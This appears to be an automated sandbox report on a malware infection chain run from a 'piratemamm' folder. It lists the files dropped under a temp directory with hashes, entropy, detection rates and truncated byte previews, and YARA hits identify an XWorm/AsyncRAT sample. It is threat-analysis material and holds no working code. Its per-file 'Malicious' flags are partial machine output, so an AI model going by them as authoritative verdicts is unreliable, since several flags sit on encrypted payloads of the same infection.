Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997509731458445
Encrypted:	true
SSDEEP:	1536:nTeFHXTstFlwlRAu7II2zSosLS506fzbe2hd9Ahaf/IHU:Te9AzwrAuk/Sos+fvbryhWAU
MD5:	470F19F312808E9D98A35A5343CB25A8
SHA1:	50C4F2D1BFC53CBD2B4FA02BB156A5199AA85B3A
SHA-256:	8E0099E0B1D1A05F78099EBAD128C0440BF0F469E21510E6996E8B497AF36E3F
SHA-512:	1489D7BDB0AD32334BED050415062B340F79ECB8FB775F697D875300C7FC501E56162D547295D2F82FE4C6CF3A0A92C97E5F49BBEEABA58000636DB970BD9CF0
Malicious:	false
Reputation:	unknown
Preview:	t...({........T.V.u.a.../w..D....[...7s.Bp...IT.x......r.n.F?....).vJ....Q.X...;....q`...+.7V.......!{..f...0...n.Z....e`......VU..(]{.\|.j,...2.z.I.\|a..G..B...~..].._{ave......u...7.D......I...`>!2.\|....<B.TX.aA......C^.6........gHt.9h.\|....&.'..:.-.....Y..N.TDWH1.U"-...L......oF....T.......:a&...-..66......B$..dx5t4.m%y.p.+.w...".Cdw.P..g].W.OS......5.N..{Y..m.`..".y=i...<..p....q..4..X.r.B.0D.Ta....f.k...#%..=..#.3h..MR[7x....X.....>m.o....d..W..D...\|...<y......&.A.U..".kNK..atM...O..<...s.nP._...\|.W.R}o.....)-.........mr.-r.:..A...4.....z.....zC..)7<....TkNXxE'....G..k=.J.....J.`.z...}}.7+.....XJ#.9.Z.5.&.b!.E.RW....4."U..-....i[M.....&.{......QY...w..C..5r^/...w....b.a}..a.....t-..HN.'*.YP.8r.d>.pa.v..JL.R..U!.. .\...?...p..aQ....s5#oZ....%..../.>..m...A..57\\|\..(....(.....Y...b...7..........A....... hN.b...'1.e...<kl.-..DK.....r6.<.9.4Z.}C-....5....fzp.....8...IM...z.95.sk^.........../.RA......V.&...... A...q...:..B.:..1..@}w....F

C:\Users\user\AppData\Local\Temp\Thousands

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.9974914813164295
Encrypted:	true
SSDEEP:	1536:x+LKKw8HO2PCYo0UIMoPUcDRnnKHBst+tMnBU1YPeqp:4L3PCYoIMoP5RK2+tMnBU0ec
MD5:	8DCAD160314DB7EF9908F09247C4623C
SHA1:	8DD90A69427B679F0A151FC1593A34767C381487
SHA-256:	1E4C86861AC03CA910FB4F3C48F5B073B2E4D6F192C7F71D085E54C4FB50B6E9
SHA-512:	72B21754F6B604DC47DD71625402883C0DE0E5A0520CBFE612011E4D740D214BB0959DE7E192164BFE1B522D1AB8377C5C9C03B0C7FE61E76E579281A9667201
Malicious:	false
Reputation:	unknown
Preview:	W.:.\...X..h..%....H......=..w..J..eX...c..BE..+dX..)..6F....V.n....mN...%....O.9......6.^...?.3$....).IiMb$..,.,....Pq{=".....m.]......Ei.l_V.S...?...3g...Hn......cP.fc6.0N!r.j....!..k.k...8..+\y3....).G.......?.....=i..w..:\.(.X.HR.r...r.IW.E...t +.4..S.....!}.R.6.6f.N.(........[.....h..G...!..(...oc.D=.....].9lOd..\hq.,.2...Z....]H._.dZ...UJ.F._..K..w(..>.^q..._.Ow.{'......S..f...jc"K..D8cq.[....u....Le/F.....\|.J.1,.ym.l...;.q2.O.....^.%dk...._]S.gU.o\|`..A....W..!'F.l._.\|>{.H.r.{N".o.pr}.U..P:"d.,2=.9/U..P"\.be.b.g...;...R~...~.b.O..-.i.....(5.\]..Mj].....\.[..a......^...\|.j....J:.....e..Ge%.....@0.<5v......N./..Z.d.2.._. ....vv.V.}..>w~......[...^../..!w.\.s..wM.}.@.&^'....W...jS..r.#..Z..=.4BU.V\...#.KZ.....X.........fr.....c..c.}L$..<%..Q..Dg...L..&.PG....wR..Z^:......;w.dd/...l]..t....=..PYd~..)...C..R.m.u}..v...:k...C^\|Nf...E.f........(.eHd....V7......yy$P....#=...n.#fv.......1...HH....\...a......qB..@.W..7j9.^.<.%*\..._7.

C:\Users\user\AppData\Local\Temp\Vagina

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	80303
Entropy (8bit):	7.997897212237083
Encrypted:	true
SSDEEP:	1536:T9SrTg6y6XCjMbYThU469INya4eZsOh7vGdFmoAMr4pmTtYgo:Mby6XCjML469biZ+FmoAMr4pmTtYgo
MD5:	621679EC67AB5447A864AB80778DE8EC
SHA1:	288314F4E5AD902006AF71971B75106C8E0BD6A8
SHA-256:	4F332881E0E1AB18279F0DBADDAB9650C473CE42B0FFDCEFF9AE3E27923D1E87
SHA-512:	CF5394137A4FDB1DE5A7FC014A743220C93FF850C5CDDB99C432B6B0A9393CB33BB9D178C2D6E13C58211F456240B4B3AE6A123A2BB68CE62EC96AA99109215B
Malicious:	false
Reputation:	unknown
Preview:	..Ah.....TZ9{..5$l.....}.7....V....]5..a..}Sy..e.o.8.a.K[.Fm.N.R+. E............3~.a.y...y..g.o...R....U7.F..T.h~w."......Lh.L^.O.....l...%.#.j.A.4.1.Qv.~........].{A0u;......\+A\|..<.y.T.7.Q~.U.....9......0.l.....t ..#.%.Z.......mN...{.HQ.....w.`....Fn...g'..i"m.....F.d...m.......G..a!...6........d~`...UC.x.q...@..].p.s5.[>\....VB.S.....d....+M:.y.l...s;..qh.._.\..".un.`0wA.r......Eab$d......../bl.z..4V....../%z...Y.b........:..f<.s....h.E......:..p...h_...snR....SsU...'..U{.r'+...N[.?.t;8....$4..FG.v.F.......L;.........fk.?.....J'..~T.M..sh$.:...E>d...,....\|........u..&..%...........b....3...."Kh....i...5<E..P.8%[f#8^......O...4.o9n..;.....?..L.....n......EG?...)k.^.....J..S.T.D.YB._.<.............$.}o.4.@R..4....K`.....I..j..p.lkR..r*5B+..../q.Q..yc....yNn..I.(..cL k....u.g./......u@.'.......B.....Q.?yX.[....#...Y.T..'d.I...5y.N..M.)..g..;w....,..Uj............7.Wx@....{.....}......34.<...rKE...;h.8...X....Q..c@. Mm.!.v....Ap9..b..z^M......

C:\Users\user\AppData\Local\Temp\Ventures

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997827426624509
Encrypted:	true
SSDEEP:	1536:W1tfAe9pUP8QoT0BX1ABOe1p3fSI9iUFEl8pN4G5cBOcZV:W1bYBSmFABp1p3tiUF48DJg
MD5:	1376D8F8BCD859620D17D2199452883B
SHA1:	3C1F24447D68084F364E750E0ECAE3F5667CA537
SHA-256:	A06ADBF1F68A296D9049E5AB4FA8DEBF0F68A29E37ED1CEB5481D8F15F85033A
SHA-512:	FE0A1F6A48A1B5A404B289320D27FBCCD67F1DE4080081D7E4E3B93611BC0ECE52636276BDB2FBB5E32F3662640536E9CFFA6C86C0D3F41041309D7386B0B36B
Malicious:	false
Reputation:	unknown
Preview:	..E..^..N [5.....AO.x.<C%...p.-o...U....#\|.G.v...Z;..~.. .....o...].8.....RE.k..0IJLb.....L1.(...W...dp.W.%n..Z[z&.\mQ.@.K..5)n].....}..\..G....5...q..-f............q.A....m.@>..z..,.r.b.=S(....t..p.q.h..&.^..._8...I.u....Yb!..<.M....;..[...........#.@PP.....D.....b.c]..P.F.....#g.R....x.6EJXc.OE..Pq.xJtN........=......o&<...`.@..\....F....%..y...^R..H..<.\|....c.V..J.r..R....~....[._..^....&.(..@l.^...nD................H o..X?k..kY.-\|...q.....4.D..H.q.p..l)SH..I.O.....!_Zi.]....n&......i'Gw....e.-ml.$Pm9..S...]...V..+r.<...O..o.X}.)..._....1.B.TB..n.B.7.....(.t......z-]6..}....`..;.....M..f.5by.Z.B.4....0..J..w...0(..,'..j...BS..hu&l..H.....)j...).T....1q...z....V~).U.A4.l.1@_]04W.l9..ij........>.S....m...1~..E.b.`.D~..t.h...=%J.v.W..)....7........+.;X.Vh.....4.Mdt.+7.<...a..]+k.$;.p5M...W.,.F.m...Ao..2..6G...t......)A...E*.E...m=h.Q..d.....2.Xm........P.5..m.8/...........X>.q..l.>.R..m..$....x.w...f.=Vd.'...3...@..(...._f..#y.

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:j/f:T
MD5:	42EDCF2CC7F40D636E68FBD051495010
SHA1:	ED9D1EF2BAABCB0DC07077D898C49AD269621011
SHA-256:	FE8EF4DA423302A33642DAE79756A7B5CC16F5A24CA61D82C2479B8A7EB14F77
SHA-512:	FE95B973151A2F8CFF3986462D56D8368DDF53B31B45B485B5CE067787501614C657FD75300FF7BF7D1636C69E67C9EFE6F9A141CE8C3F0B8366274209D20334
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.745960477552938
Encrypted:	false
SSDEEP:	384:BXvhMwoSitz/bjx7yxnbdn+EHvbsHoOODCg:BZ7FEAbd+EDsIO
MD5:	A813D18268AFFD4763DDE940246DC7E5
SHA1:	C7366E1FD925C17CC6068001BD38EAEF5B42852F
SHA-256:	E19781AABE466DD8779CB9C8FA41BBB73375447066BB34E876CF388A6ED63C64
SHA-512:	B310ED4CD2E94381C00A6A370FCB7CC867EBE425D705B69CAAAAFFDAFBAB91F72D357966916053E72E68ECF712F2AF7585500C58BB53EC3E1D539179FCB45FB4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(............................@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp

Download File

Process:	C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696832
Entropy (8bit):	6.465954121744484
Encrypted:	false
SSDEEP:	12288:q0QfKb7nH5lrPo37AzHTA63I0ihE4qE7prN9cgKARpkCXYnXExy8:qfKbT5lrPo37AzHTA63/cfqAcgKckCI0
MD5:	2C8ADD0562CF664E23941305CBCA4E18
SHA1:	9F1396F11CF41FDB635FAC4FCBD85EB269A2832D
SHA-256:	38CCDDF4D62C06E2C693E0F8E211BF4D72D2CCE6B8C15530D406D042857BB76B
SHA-512:	5C78C3E040921B8DBB9455C954BE5D66690719FA5991E793E407FD405C9B18C972922767C7D088CD9994DFB43AB6F6FA23BF50A291D715C7FCFEF3812FF66447
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........3.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....%.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..0...........................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\jnpqblobe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.580956746864694
Encrypted:	false
SSDEEP:	384:HHxRXcrP31VZBELR1nvJff3cdiwOURJpkFTBLToOZwxJd2v99Ikuisk2VFxOjhXv:uPjgR5vJ3cdIUGF/9jmOjhXbr
MD5:	5D6E9864D31433BFF44118FB837C2F4B
SHA1:	2B8A9E6824F6646D9951E6C106A592F2F72BB697
SHA-256:	6DCA9520ABE9E74C5423F6F2A1A8997D762569E0D532B748246BBBC0DFB1CC0C
SHA-512:	5DC40E4B4F33E54830BFDD59D1E4001C871E72C0C9E816F978EA2404B7B9E865F2C7FEE79EF7D3AA4B54515847CABF7C3B5A0DE5D97ED9A46F4FE6755208D60A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\jnpqblobe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\jnpqblobe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8i.Y.................x..........~.... ........@.. ....................................@.................................(...S.................................................................................... ............... ..H............text....w... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B................`.......H.......,O...G............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Temp\lromlpqi

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 30 00:17:27 2024, mtime=Fri Aug 30 00:17:34 2024, atime=Tue Aug 27 08:31:22 2024, length=1312792, window=hide
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	5.113238708931217
Encrypted:	false
SSDEEP:	24:8UQgsrcl4RlgK+U3egUAN5fTAhPLqyFm:8vPr04RYUPLDyF
MD5:	25C0A6DBC44509E67FCCDA8208A3F7B1
SHA1:	F8B2BCA1BFD23EA86F82D974BAA913EE9B0AF80F
SHA-256:	F4FFA4472015684206C3C5C1A3903A69E2D544D2FEE98A53E17CEA65D781DD42
SHA-512:	465F8D546B0EA964EC7895260136A7FD0536C7CE21B154A344EEF402C8D63E389090F38CBFEC864EE47AA7860F0632AFA68BEBB3E85456519124D9C1469A270C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ......`z......dz...:UM.c.............................:..DG..Yr?.D..U..k0.&...&......vk.v....9C.Iz....:.nz.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y/...Local.<......CW.^.Y0.....b.....................{.7.L.o.c.a.l.....N.1......Y:...Temp..:......CW.^.Y:.....l.....................5.O.T.e.m.p.....v.2......Y.K .SENDBU~1.EXE..Z.......Y...Y................................S.e.n.d.B.u.g.R.e.p.o.r.t.N.e.w...e.x.e.......e...............-.......d...................C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe......\.S.e.n.d.B.u.g.R.e.p.o.r.t.N.e.w...e.x.e.........\|....I.J.H..K..:...`.......X.......724536...........hT..CrF.f4... ..=..mf...,.......hT..CrF.f4... ..=..mf...,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H..

C:\Users\user\AppData\Local\Temp\mvyvk

Download File

Process:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
File Type:	data
Category:	dropped
Size (bytes):	632739
Entropy (8bit):	7.480674569097623
Encrypted:	false
SSDEEP:	12288:3g510gB3fCyTehRKGqO4Am6bBlfobsD4uL6sCwQtYXyi8oGWOPfSda:w/hPCqehRnqQ1lfYuLqwHXyi8kOPga
MD5:	ABD7558BA13DDC3A18A9A1D16E9CD237
SHA1:	1931094D4536C1BB1591ED8FFE1490D1DA921AA6
SHA-256:	15876CF156D16A88BE1BD9575F8A4ED2D583A0976E228C64131A2F1CD0C68054
SHA-512:	ABCFC6833EC5E1F9763E7D7068186A8A1A64343819E7DA1D91069A18A7EA05D2A3E96FF40422F530F68F90D4B69BB25195FBAEFAC65BBB13B168A88428971A95
Malicious:	false
Reputation:	unknown
Preview:	o.i...Hn.ZxG....Z..nsc...LN.G..h^]...M..C....`M.O.r...._..LQj..UD....kgHEwEs.P.\.NQ..PMAnm.CS].UJ.RtDn..It......O.j...s.k.V.xt.O..CL...A.....o..f.WSLJI..k.dOm..V..oKWt....lYc...q.j.r...N.V...Jq.BIvN...\.....NGIf...hV.nQ.Bht.T.NE...cH......pK.Z.y..sP.Wd.....A.q...u...f.i...g...msr..M.HkB.[.DY..qq..__F.Y.poA..Pov.H..NZ.....w...X..ywARnRYw.jq.FlI..O...wXEx].......`.p.....BAOBet.TZ.SN._.Sr_`t.T.`.lfD._.L.b....TC.hQ..g..Z.X.AGb..t.N.k.V.an...GO....y...\R.t....]rt..qUa...Z.I.a....u..mm...x..................ePcV...A.X`bNB.M..lt..P...ib......o...C.SnGc]NF.hnmd...EmL.t.d...CS.p..F.BVa..rjo.m..YLi..C.^Wbgdn..g..]w.....cOT.tKo...Q..wYT]..srG..A.s.......vM.u..V.X.i...fT.qA.b.n.....d..h.d.W..J.m.ob..d.N.......Gs...q..b...R..D.mT...d..nP.a.p.T..V.e.ey.yW..u...u.V..^.]....Q..g.g.h...dk...g.m...UE.J..`M.......B.w.M..aGL.J[._..QW]....s......H.....br...cd.qlU.B.y^CI`Js.\.Z..sP.A...J..v..T...k...D.....BebiB.Z^W....Jc.E..K.f...kW.DiS].KcL.E.Iav.x..D..Pk.SRpE..b.MVwW..qJ..E.....FA.QS....v.p.U..tt..m.^K...h

C:\Users\user\AppData\Local\Temp\nfsxtmg

Download File

Process:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
File Type:	data
Category:	dropped
Size (bytes):	31958
Entropy (8bit):	5.0852242171362665
Encrypted:	false
SSDEEP:	768:OsO+nY4JhielJ7K2hGqUY8sl+11QbQfVrWpnfuAFgF/9qTSRK:OsZY4JrE2Enuffcqmw
MD5:	8ADE14406162E1ACD567B99843AEAFB9
SHA1:	76886AB3D6C8C62A9B5FC9D3785B4395E0A75678
SHA-256:	A465457514E861E867729368E650B69861E4C8A3EC547A30E67B3AEC77599724
SHA-512:	BDE1333A1CD35CB3C24DB0055D1F761F966C68EF3A1B7060AA204F07813B0B697C6DC6700736804D05E41BE15367493A13E1A9897CC5AA5EF1BC831DC6618905
Malicious:	false
Reputation:	unknown
Preview:	....w....YN.c`.A.R.EPvb.Iq.rE^b.....p.._XWnUB.....`sk....q`_d`..G.FaIcBSP..b._M.t..MgkA..._..cU.U..MLIh.a..gr.L.ag`].^..e.ex..wB..hw..f..c.cB]\...f...F..uf.O...[xhoUP..kt.hx..ZYP\Q[d.n\...JRJ.f.PR.jEfR...U....G.o.x......pxUYhQ...C...cZ].xd.BDf....BQ[....r.C.pO._.YWo.x..C.sAr.tAxZsa._jm...nW.]x.X.\.j......x.ym.b...H\.jy.X.km.m..X......ujil....jPSl...xE.S..EBOACG.....oM.S.svEU...Db.jG...G..w.DVeWX..J.wwW.H.u...u........byl.oeMG.XOL^N.UwqN.\..i.G.b.CWW....[.D...i.`N.gb..I..q......cc..N.AX._I.c.x.p....X.h.Cv.O.e.u..Mh..kX..g..IG.ov.W``e.......xVXsvB......t.....u....ELZ..BDceRXr.b..k..g].....[.\if\.B.w.e.u...t.CQaF...HEq.k.N..DXs...Ce..H.qPy\L..Un..a.NY....b.a..`do.J..........VK.Now.^.b\gA..f..a..b...w.f.c...lR^CJ.E.aJ]...a.......aEY...M..t.j..U.y..QJ.g...KPc..kGP....w..i.....mSp..PPEB............jx.]SLw..v.....[C..X.D..jZIXld....J..F\nFQQW.....P]O.r.J...nx..c.qn.TN.F.m..F.C.e..uqC.F.L`o.i.^Y.b..\.wL.gJ]bv....^.v..nf.yk.A....PUx....Y.u...W_U.[OE.....q.N.OWr.[gq.gE.P....f...py^Vc..M..`..j.C.

C:\Users\user\AppData\Local\Temp\rtl120.bpl

Download File

Process:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1095168
Entropy (8bit):	6.807406814721096
Encrypted:	false
SSDEEP:	24576:lbh75FWbA1msvIRzM7Rk5JZzSQ4+Is2jMTZ0rbo:W2gTyrbo
MD5:	C80F3B711D04C486CCDF3740689B3569
SHA1:	C8724122282A018F8FB9F8775D0615311DA4FD70
SHA-256:	A4DF6624A65C83002E97D81D96BD85C3B1370129C486BD43CB399E76A6E4D393
SHA-512:	E977A1118B3B94FDAC13073E9C60F8E43531CD8F0136F60774FD891175815C3839A316AEF496D6E5C3038CC119DD936356B1D01C521E3BC9C1C01F1BE998D4B7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\rtl120.bpl, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H...........................................P.........................`.................................................X$...p..........................H.......................................................x............................text.............................. ..`.itext........... .................. ..`.data...tw.......x..................@....bss.... T...@.......(...................idata..X$.......&...(..............@....edata...............N..............@..@.rdata...............0..............@..@.reloc...............2..............@..B.rsrc........p......................@..@.............`......................@..@................................................................................................

C:\Users\user\AppData\Local\Temp\twekgmwoe\slrmrjyhe

Download File

Process:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
File Type:	data
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.7755691110333345
Encrypted:	false
SSDEEP:	3:7OoQGlhWhUbvYoQGlzVnlv:rQoAUBQoZnd
MD5:	9520EDB71E4002F9BF5CDB468F925F56
SHA1:	9124FF94B558BB842904A15B558706014F3BB27C
SHA-256:	F46DC863FF7EA85AF1284A5FAB9C4F62EBD17E5914D6DF44FE32D8B9F1904E6F
SHA-512:	70727789C5DBBADE4EB2FC9F5B8E66308784EF64749430CBC58B47F08F33EEFF9168BFA097606505C81A36DD2123F53F592D95EF7ED77D466AC5527981E43702
Malicious:	false
Reputation:	unknown
Preview:	.sYYYY[....5.......0)[CY[AWMOWHKJWJJ[.sYYYY[....5.......-...[CYHNKM@AIOLJs.

C:\Users\user\AppData\Local\Temp\vcl120.bpl

Download File

Process:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2015240
Entropy (8bit):	6.681879780616523
Encrypted:	false
SSDEEP:	24576:v2gt8PRUMggrgN/5tWw+eNVEXZB5SOCwhuuYY8RPyS9YEPI5yz6W:vRSf0Ww+NpPSyzYY8c8YEPI4+W
MD5:	9A438A75E68E88CDABC13074A17F8A52
SHA1:	97C94801D37D249ECE7BA9ACA05703303FD9CF06
SHA-256:	CCCCADDE7393F1B624CDE32B38274E60BBE65B1769D614D129BABDAEEF9A6715
SHA-512:	19D260505972B96C2E5AE0058A29F61E606E276779A80732DBEE70F9223DBFF51DCB1F5E4EFF19206C300EE08E6060987171F5B83AD87FDD8F797E0E2DB529FC
